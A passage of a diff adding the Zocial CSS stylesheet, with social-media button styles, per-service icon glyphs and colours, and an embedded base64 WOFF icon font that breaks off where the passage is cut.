-webkit-border-radius: .3em; + border-radius: .3em; +} + +.zocial:before { + content: ""; + border-right: 0.075em solid rgba(0,0,0,0.1); + float: left; + font: 120%/1.65 zocial; + font-style: normal; + font-weight: normal; + margin: 0 0.5em 0 0; + padding: 0 0.5em; + text-align: center; + text-decoration: none; + text-transform: none; + + -moz-box-shadow: 0.075em 0 0 rgba(255,255,255,0.25); + -webkit-box-shadow: 0.075em 0 0 rgba(255,255,255,0.25); + box-shadow: 0.075em 0 0 rgba(255,255,255,0.25); + + -moz-font-smoothing: antialiased; + -webkit-font-smoothing: antialiased; + font-smoothing: antialiased; +} + +.zocial:active { + outline: none; /* outline is visible on :focus */ +} + +/* Buttons can be displayed as standalone icons by adding a class of "icon" */ + +.zocial.icon { + overflow: hidden; + max-width: 2.4em; + padding-left: 0; + padding-right: 0; + max-height: 2.15em; + white-space: nowrap; +} +.zocial.icon:before { + padding: 0; + width: 2em; + height: 2em; + + box-shadow: none; + border: none; +} + +/* Gradients */ + +.zocial { + background-image: -moz-linear-gradient(rgba(255,255,255,.1), rgba(255,255,255,.05) 49%, rgba(0,0,0,.05) 51%, rgba(0,0,0,.1)); + background-image: -ms-linear-gradient(rgba(255,255,255,.1), rgba(255,255,255,.05) 49%, rgba(0,0,0,.05) 51%, rgba(0,0,0,.1)); + background-image: -o-linear-gradient(rgba(255,255,255,.1), rgba(255,255,255,.05) 49%, rgba(0,0,0,.05) 51%, rgba(0,0,0,.1)); + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(255,255,255,.1)), color-stop(49%, rgba(255,255,255,.05)), color-stop(51%, rgba(0,0,0,.05)), to(rgba(0,0,0,.1))); + background-image: -webkit-linear-gradient(rgba(255,255,255,.1), rgba(255,255,255,.05) 49%, rgba(0,0,0,.05) 51%, rgba(0,0,0,.1)); + background-image: linear-gradient(rgba(255,255,255,.1), rgba(255,255,255,.05) 49%, rgba(0,0,0,.05) 51%, rgba(0,0,0,.1)); +} + +.zocial:hover, .zocial:focus { + background-image: -moz-linear-gradient(rgba(255,255,255,.15) 49%, rgba(0,0,0,.1) 51%, rgba(0,0,0,.15)); + background-image: -ms-linear-gradient(rgba(255,255,255,.15) 49%, rgba(0,0,0,.1) 51%, rgba(0,0,0,.15)); + background-image: -o-linear-gradient(rgba(255,255,255,.15) 49%, rgba(0,0,0,.1) 51%, rgba(0,0,0,.15)); + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(255,255,255,.15)), color-stop(49%, rgba(255,255,255,.15)), color-stop(51%, rgba(0,0,0,.1)), to(rgba(0,0,0,.15))); + background-image: -webkit-linear-gradient(rgba(255,255,255,.15) 49%, rgba(0,0,0,.1) 51%, rgba(0,0,0,.15)); + background-image: linear-gradient(rgba(255,255,255,.15) 49%, rgba(0,0,0,.1) 51%, rgba(0,0,0,.15)); +} + +.zocial:active { + background-image: -moz-linear-gradient(bottom, rgba(255,255,255,.1), rgba(255,255,255,0) 30%, transparent 50%, rgba(0,0,0,.1)); + background-image: -ms-linear-gradient(bottom, rgba(255,255,255,.1), rgba(255,255,255,0) 30%, transparent 50%, rgba(0,0,0,.1)); + background-image: -o-linear-gradient(bottom, rgba(255,255,255,.1), rgba(255,255,255,0) 30%, transparent 50%, rgba(0,0,0,.1)); + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(255,255,255,.1)), color-stop(30%, rgba(255,255,255,0)), color-stop(50%, transparent), to(rgba(0,0,0,.1))); + background-image: -webkit-linear-gradient(bottom, rgba(255,255,255,.1), rgba(255,255,255,0) 30%, transparent 50%, rgba(0,0,0,.1)); + background-image: linear-gradient(bottom, rgba(255,255,255,.1), rgba(255,255,255,0) 30%, transparent 50%, rgba(0,0,0,.1)); +} + +/* Adjustments for light background buttons */ + +.zocial.acrobat, +.zocial.bitcoin, +.zocial.cloudapp, +.zocial.dropbox, +.zocial.email, +.zocial.eventful, +.zocial.github, +.zocial.gmail, +.zocial.instapaper, +.zocial.itunes, +.zocial.ninetyninedesigns, +.zocial.openid, +.zocial.plancast, +.zocial.pocket, +.zocial.posterous, +.zocial.reddit, +.zocial.secondary, +.zocial.stackoverflow, +.zocial.viadeo, +.zocial.weibo, +.zocial.wikipedia { + border: 1px solid #aaa; + border-color: rgba(0,0,0,0.3); + border-bottom-color: #777; + border-bottom-color: rgba(0,0,0,0.5); + -moz-box-shadow: inset 0 0.08em 0 rgba(255,255,255,0.7), inset 0 0 0.08em rgba(255,255,255,0.5); + -webkit-box-shadow: inset 0 0.08em 0 rgba(255,255,255,0.7), inset 0 0 0.08em rgba(255,255,255,0.5); + box-shadow: inset 0 0.08em 0 rgba(255,255,255,0.7), inset 0 0 0.08em rgba(255,255,255,0.5); + text-shadow: 0 1px 0 rgba(255,255,255,0.8); +} + +/* :hover adjustments for light background buttons */ + +.zocial.acrobat:focus, +.zocial.acrobat:hover, +.zocial.bitcoin:focus, +.zocial.bitcoin:hover, +.zocial.dropbox:focus, +.zocial.dropbox:hover, +.zocial.email:focus, +.zocial.email:hover, +.zocial.eventful:focus, +.zocial.eventful:hover, +.zocial.github:focus, +.zocial.github:hover, +.zocial.gmail:focus, +.zocial.gmail:hover, +.zocial.instapaper:focus, +.zocial.instapaper:hover, +.zocial.itunes:focus, +.zocial.itunes:hover, +.zocial.ninetyninedesigns:focus, +.zocial.ninetyninedesigns:hover, +.zocial.openid:focus, +.zocial.openid:hover, +.zocial.plancast:focus, +.zocial.plancast:hover, +.zocial.pocket:focus, +.zocial.pocket:hover, +.zocial.posterous:focus, +.zocial.posterous:hover, +.zocial.reddit:focus, +.zocial.reddit:hover, +.zocial.secondary:focus, +.zocial.secondary:hover, +.zocial.stackoverflow:focus, +.zocial.stackoverflow:hover, +.zocial.twitter:focus, +.zocial.viadeo:focus, +.zocial.viadeo:hover, +.zocial.weibo:focus, +.zocial.weibo:hover, +.zocial.wikipedia:focus, +.zocial.wikipedia:hover { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(255,255,255,0.5)), color-stop(49%, rgba(255,255,255,0.2)), color-stop(51%, rgba(0,0,0,0.05)), to(rgba(0,0,0,0.15))); + background-image: -moz-linear-gradient(top, rgba(255,255,255,0.5), rgba(255,255,255,0.2) 49%, rgba(0,0,0,0.05) 51%, rgba(0,0,0,0.15)); + background-image: -webkit-linear-gradient(top, rgba(255,255,255,0.5), rgba(255,255,255,0.2) 49%, rgba(0,0,0,0.05) 51%, rgba(0,0,0,0.15)); + background-image: -o-linear-gradient(top, rgba(255,255,255,0.5), rgba(255,255,255,0.2) 49%, rgba(0,0,0,0.05) 51%, rgba(0,0,0,0.15)); + background-image: -ms-linear-gradient(top, rgba(255,255,255,0.5), rgba(255,255,255,0.2) 49%, rgba(0,0,0,0.05) 51%, rgba(0,0,0,0.15)); + background-image: linear-gradient(top, rgba(255,255,255,0.5), rgba(255,255,255,0.2) 49%, rgba(0,0,0,0.05) 51%, rgba(0,0,0,0.15)); +} + +/* :active adjustments for light background buttons */ + +.zocial.acrobat:active, +.zocial.bitcoin:active, +.zocial.dropbox:active, +.zocial.email:active, +.zocial.eventful:active, +.zocial.github:active, +.zocial.gmail:active, +.zocial.instapaper:active, +.zocial.itunes:active, +.zocial.ninetyninedesigns:active, +.zocial.openid:active, +.zocial.plancast:active, +.zocial.pocket:active, +.zocial.posterous:active, +.zocial.reddit:active, +.zocial.secondary:active, +.zocial.stackoverflow:active, +.zocial.viadeo:active, +.zocial.weibo:active, +.zocial.wikipedia:active { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(255,255,255,0)), color-stop(30%, rgba(255,255,255,0)), color-stop(50%, rgba(0,0,0,0)), to(rgba(0,0,0,0.1))); + background-image: -moz-linear-gradient(bottom, rgba(255,255,255,0), rgba(255,255,255,0) 30%, rgba(0,0,0,0) 50%, rgba(0,0,0,0.1)); + background-image: -webkit-linear-gradient(bottom, rgba(255,255,255,0), rgba(255,255,255,0) 30%, rgba(0,0,0,0) 50%, rgba(0,0,0,0.1)); + background-image: -o-linear-gradient(bottom, rgba(255,255,255,0), rgba(255,255,255,0) 30%, rgba(0,0,0,0) 50%, rgba(0,0,0,0.1)); + background-image: -ms-linear-gradient(bottom, rgba(255,255,255,0), rgba(255,255,255,0) 30%, rgba(0,0,0,0) 50%, rgba(0,0,0,0.1)); + background-image: linear-gradient(bottom, rgba(255,255,255,0), rgba(255,255,255,0) 30%, rgba(0,0,0,0) 50%, rgba(0,0,0,0.1)); +} + +/* Button icon and color */ +/* Icon characters are stored in unicode private area */ +.zocial.acrobat:before {content: "\00E3"; color: #FB0000;} +.zocial.amazon:before {content: "a";} +.zocial.android:before {content: "&";} +.zocial.angellist:before {content: "\00D6";} +.zocial.aol:before {content: "\"";} +.zocial.appnet:before {content: "\00E1";} +.zocial.appstore:before {content: "A";} +.zocial.bitbucket:before {content: "\00E9";} +.zocial.bitcoin:before {content: "2"; color: #f7931a;} +.zocial.blogger:before {content: "B";} +.zocial.buffer:before {content: "\00E5";} +.zocial.call:before {content: "7";} +.zocial.cal:before {content: ".";} +.zocial.cart:before {content: "\00C9";} +.zocial.chrome:before {content: "[";} +.zocial.cloudapp:before {content: "c";} +.zocial.creativecommons:before {content: "C";} +.zocial.delicious:before {content: "#";} +.zocial.digg:before {content: ";";} +.zocial.disqus:before {content: "Q";} +.zocial.dribbble:before {content: "D";} +.zocial.dropbox:before {content: "d"; color: #1f75cc;} +.zocial.drupal:before {content: "\00E4"; color: #fff;} +.zocial.dwolla:before {content: "\00E0";} +.zocial.email:before {content: "]"; color: #312c2a;} +.zocial.eventasaurus:before {content: "v"; color: #9de428;} +.zocial.eventbrite:before {content: "|";} +.zocial.eventful:before {content: "'"; color: #0066CC;} +.zocial.evernote:before {content: "E";} +.zocial.facebook:before {content: "f";} +.zocial.fivehundredpx:before {content: "0"; color: #29b6ff;} +.zocial.flattr:before {content: "%";} +.zocial.flickr:before {content: "F";} +.zocial.forrst:before {content: ":"; color: #50894f;} +.zocial.foursquare:before {content: "4";} +.zocial.github:before {content: "\00E8";} +.zocial.gmail:before {content: "m"; color: #f00;} +.zocial.google:before {content: "G";} +.zocial.googleplay:before {content: "h";} +.zocial.googleplus:before {content: "+";} +.zocial.gowalla:before {content: "@";} +.zocial.grooveshark:before {content: "8";} +.zocial.guest:before {content: "?";} +.zocial.html5:before {content: "5";} +.zocial.ie:before {content: "6";} +.zocial.instagram:before {content: "\00DC";} +.zocial.instapaper:before {content: "I";} +.zocial.intensedebate:before {content: "{";} +.zocial.itunes:before {content: "i"; color: #1a6dd2;} +.zocial.klout:before {content: "K"; } +.zocial.lanyrd:before {content: "-";} +.zocial.lastfm:before {content: "l";} +.zocial.lego:before {content: "\00EA"; color:#fff900;} +.zocial.linkedin:before {content: "L";} +.zocial.lkdto:before {content: "\00EE";} +.zocial.logmein:before {content: "\00EB";} +.zocial.macstore:before {content: "^";} +.zocial.meetup:before {content: "M";} +.zocial.myspace:before {content: "_";} +.zocial.ninetyninedesigns:before {content: "9"; color: #f50;} +.zocial.openid:before {content: "o"; color: #ff921d;} +.zocial.opentable:before {content: "\00C7";} +.zocial.paypal:before {content: "$";} +.zocial.pinboard:before {content: "n";} +.zocial.pinterest:before {content: "1";} +.zocial.plancast:before {content: "P";} +.zocial.plurk:before {content: "j";} +.zocial.pocket:before {content: "\00E7"; color:#ee4056;} +.zocial.podcast:before {content: "`";} +.zocial.posterous:before {content: "~";} +.zocial.print:before {content: "\00D1";} +.zocial.quora:before {content: "q";} +.zocial.reddit:before {content: ">"; color: red;} +.zocial.rss:before {content: "R";} +.zocial.scribd:before {content: "}"; color: #00d5ea;} +.zocial.skype:before {content: "S";} +.zocial.smashing:before {content: "*";} +.zocial.songkick:before {content: "k";} +.zocial.soundcloud:before {content: "s";} +.zocial.spotify:before {content: "=";} +.zocial.stackoverflow:before {content: "\00EC"; color: #ff7a15;} +.zocial.statusnet:before {content: "\00E2"; color: #fff;} +.zocial.steam:before {content: "b";} +.zocial.stripe:before {content: "\00A3";} +.zocial.stumbleupon:before {content: "/";} +.zocial.tumblr:before {content: "t";} +.zocial.twitter:before {content: "T";} +.zocial.viadeo:before {content: "H"; color: #f59b20;} +.zocial.vimeo:before {content: "V";} +.zocial.vk:before {content: "N";} +.zocial.weibo:before {content: "J"; color: #e6162d;} +.zocial.wikipedia:before {content: ",";} +.zocial.windows:before {content: "W";} +.zocial.wordpress:before {content: "w";} +.zocial.xing:before {content: "X"} +.zocial.yahoo:before {content: "Y";} +.zocial.ycombinator:before {content: "\00ED";} +.zocial.yelp:before {content: "y";} +.zocial.youtube:before {content: "U";} + +/* Button background and text color */ + +.zocial.acrobat {background-color: #fff; color: #000;} +.zocial.amazon {background-color: #ffad1d; color: #030037; text-shadow: 0 1px 0 rgba(255,255,255,0.5);} +.zocial.android {background-color: #a4c639;} +.zocial.angellist {background-color: #000;} +.zocial.aol {background-color: #f00;} +.zocial.appnet {background-color: #3178bd;} +.zocial.appstore {background-color: #000;} +.zocial.bitbucket {background-color: #205081;} +.zocial.bitcoin {background-color: #efefef; color: #4d4d4d;} +.zocial.blogger {background-color: #ee5a22;} +.zocial.buffer {background-color: #232323;} +.zocial.call {background-color: #008000;} +.zocial.cal {background-color: #d63538;} +.zocial.cart {background-color: #333;} +.zocial.chrome {background-color: #006cd4;} +.zocial.cloudapp {background-color: #fff; color: #312c2a;} +.zocial.creativecommons {background-color: #000;} +.zocial.delicious {background-color: #3271cb;} +.zocial.digg {background-color: #164673;} +.zocial.disqus {background-color: #5d8aad;} +.zocial.dribbble {background-color: #ea4c89;} +.zocial.dropbox {background-color: #fff; color: #312c2a;} +.zocial.drupal {background-color: #0077c0; color: #fff;} +.zocial.dwolla {background-color: #e88c02;} +.zocial.email {background-color: #f0f0eb; color: #312c2a;} +.zocial.eventasaurus {background-color: #192931; color: #fff;} +.zocial.eventbrite {background-color: #ff5616;} +.zocial.eventful {background-color: #fff; color: #47ab15;} +.zocial.evernote {background-color: #6bb130; color: #fff;} +.zocial.facebook {background-color: #4863ae;} +.zocial.fivehundredpx {background-color: #333;} +.zocial.flattr {background-color: #8aba42;} +.zocial.flickr {background-color: #ff0084;} +.zocial.forrst {background-color: #1e360d;} +.zocial.foursquare {background-color: #44a8e0;} +.zocial.github {background-color: #fbfbfb; color: #050505;} +.zocial.gmail {background-color: #efefef; color: #222;} +.zocial.google {background-color: #4e6cf7;} +.zocial.googleplay {background-color: #000;} +.zocial.googleplus {background-color: #dd4b39;} +.zocial.gowalla {background-color: #ff720a;} +.zocial.grooveshark {background-color: #111; color:#eee;} +.zocial.guest {background-color: #1b4d6d;} +.zocial.html5 {background-color: #ff3617;} +.zocial.ie {background-color: #00a1d9;} +.zocial.instapaper {background-color: #eee; color: #222;} +.zocial.instagram {background-color: #3f729b;} +.zocial.intensedebate {background-color: #0099e1;} +.zocial.klout {background-color: #e34a25;} +.zocial.itunes {background-color: #efefeb; color: #312c2a;} +.zocial.lanyrd {background-color: #2e6ac2;} +.zocial.lastfm {background-color: #dc1a23;} +.zocial.lego {background-color: #fb0000;} +.zocial.linkedin {background-color: #0083a8;} +.zocial.lkdto {background-color: #7c786f;} +.zocial.logmein {background-color: #000;} +.zocial.macstore {background-color: #007dcb} +.zocial.meetup {background-color: #ff0026;} +.zocial.myspace {background-color: #000;} +.zocial.ninetyninedesigns {background-color: #fff; color: #072243;} +.zocial.openid {background-color: #f5f5f5; color: #333;} +.zocial.opentable {background-color: #990000;} +.zocial.paypal {background-color: #fff; color: #32689a; text-shadow: 0 1px 0 rgba(255,255,255,0.5);} +.zocial.pinboard {background-color: blue;} +.zocial.pinterest {background-color: #c91618;} +.zocial.plancast {background-color: #e7ebed; color: #333;} +.zocial.plurk {background-color: #cf682f;} +.zocial.pocket {background-color: #fff; color: #777;} +.zocial.podcast {background-color: #9365ce;} +.zocial.posterous {background-color: #ffd959; color: #bc7134;} +.zocial.print {background-color: #f0f0eb; color: #222; text-shadow: 0 1px 0 rgba(255,255,255,0.8);} +.zocial.quora {background-color: #a82400;} +.zocial.reddit {background-color: #fff; color: #222;} +.zocial.rss {background-color: #ff7f25;} +.zocial.scribd {background-color: #231c1a;} +.zocial.skype {background-color: #00a2ed;} +.zocial.smashing {background-color: #ff4f27;} +.zocial.songkick {background-color: #ff0050;} +.zocial.soundcloud {background-color: #ff4500;} +.zocial.spotify {background-color: #60af00;} +.zocial.stackoverflow {background-color: #fff; color: #555;} +.zocial.statusnet {background-color: #829d25;} +.zocial.steam {background-color: #000;} +.zocial.stripe {background-color: #2f7ed6;} +.zocial.stumbleupon {background-color: #eb4924;} +.zocial.tumblr {background-color: #374a61;} +.zocial.twitter {background-color: #46c0fb;} +.zocial.viadeo {background-color: #fff; color: #000;} +.zocial.vimeo {background-color: #00a2cd;} +.zocial.vk {background-color: #45688E;} +.zocial.weibo {background-color: #faf6f1; color: #000;} +.zocial.wikipedia {background-color: #fff; color: #000;} +.zocial.windows {background-color: #0052a4; color: #fff;} +.zocial.wordpress {background-color: #464646;} +.zocial.xing {background-color: #0a5d5e;} +.zocial.yahoo {background-color: #a200c2;} +.zocial.ycombinator {background-color: #ff6600;} +.zocial.yelp {background-color: #e60010;} +.zocial.youtube {background-color: #f00;} + +/* +The Miscellaneous Buttons +These button have no icons and can be general purpose buttons while ensuring consistent button style +Credit to @guillermovs for suggesting +*/ + +.zocial.primary, .zocial.secondary {margin: 0.1em 0; padding: 0 1em;} +.zocial.primary:before, .zocial.secondary:before {display: none;} +.zocial.primary {background-color: #333;} +.zocial.secondary {background-color: #f0f0eb; color: #222; text-shadow: 0 1px 0 rgba(255,255,255,0.8);} + +/* Any browser-specific adjustments */ + +button:-moz-focus-inner { + border: 0; + padding: 0; +} + + + +/* Reference icons from font-files +** Base 64-encoded version recommended to resolve cross-site font-loading issues +*/ + +@font-face { + font-family: 'zocial'; + src: url('zocial-regular-webfont.eot'); +} + +@font-face { + font-family: 'zocial'; + src: url(data:application/x-font-woff;charset=utf-8;base64,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